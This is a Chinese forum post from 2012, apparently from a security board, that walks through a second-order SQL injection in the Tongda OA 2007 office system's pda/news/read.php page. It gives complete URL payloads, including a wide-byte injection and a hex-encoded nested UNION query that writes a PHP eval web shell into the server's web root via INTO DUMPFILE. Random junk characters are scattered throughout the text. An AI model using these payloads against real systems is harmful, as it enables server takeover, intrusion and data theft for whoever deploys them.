目前测试通达OA2007版本7 x5 v$ {. y! l# r& k4 S# }
/ s s8 b1 ?' v) {: m2 ?( z( B4 m( s: Q/ d 7 V' D. B5 d; m- E; ~; F: ~
Office Anywhere 2007 网络智能办公系统: }& Y& @! A+ i' T3 e, ?* E
`& N5 P m& Q' y" k
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
! }; L+ L; @) E, \ - \& ]- R/ [, g. B8 s2 A4 I
& x, \2 m+ T0 N& V5 o- V这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的; h9 K/ V$ l8 b9 @/ P
% o/ L9 n: {! L( {$ u
例如：SELECT * from USER where USER_ID='{$USERNAME}'
1 L$ g. x8 Z) F% J其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了0 o: a3 E2 V" \4 r6 t
3 o$ `2 U* |1 @- I- {( w# ^
这个时候我们是不是可以组合起来使用哪？
( c. ~$ ]! Q0 t6 p3 t
1 o' q- Q/ J- \第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样2 o# v* s) c" s+ C9 P
union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,10
$ v- y( }5 }% M) y# L {4 S1 F 8 g( b; m/ R2 m2 m! Q
这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了9 Q6 `% b1 d' m5 x1 H' Q8 c5 P
9 }8 w$ H4 O' ]) T6 V) j& ^- b
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。
% f# ]8 L; E$ C! Z, L) I
) P/ e$ V& T3 d1 \那么我们用字符串格式带入进行hex编码* P5 F2 T: t, ^6 @4 E) Y% J
) U+ @" s" c, B; [* e2 h$ G5 n' Y%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
0 i: e' b& O/ o! ?. o! t , s% M4 l) T6 f1 c
测试ok，获取oa的webshell
/ s0 H8 m% @7 k' O% X( g% ~( X! [6 @ " @, w. j5 m$ O- ?
9 ~2 X- U( ?* ~) z
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
- ]- _* Z4 } D# l6 a& n直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对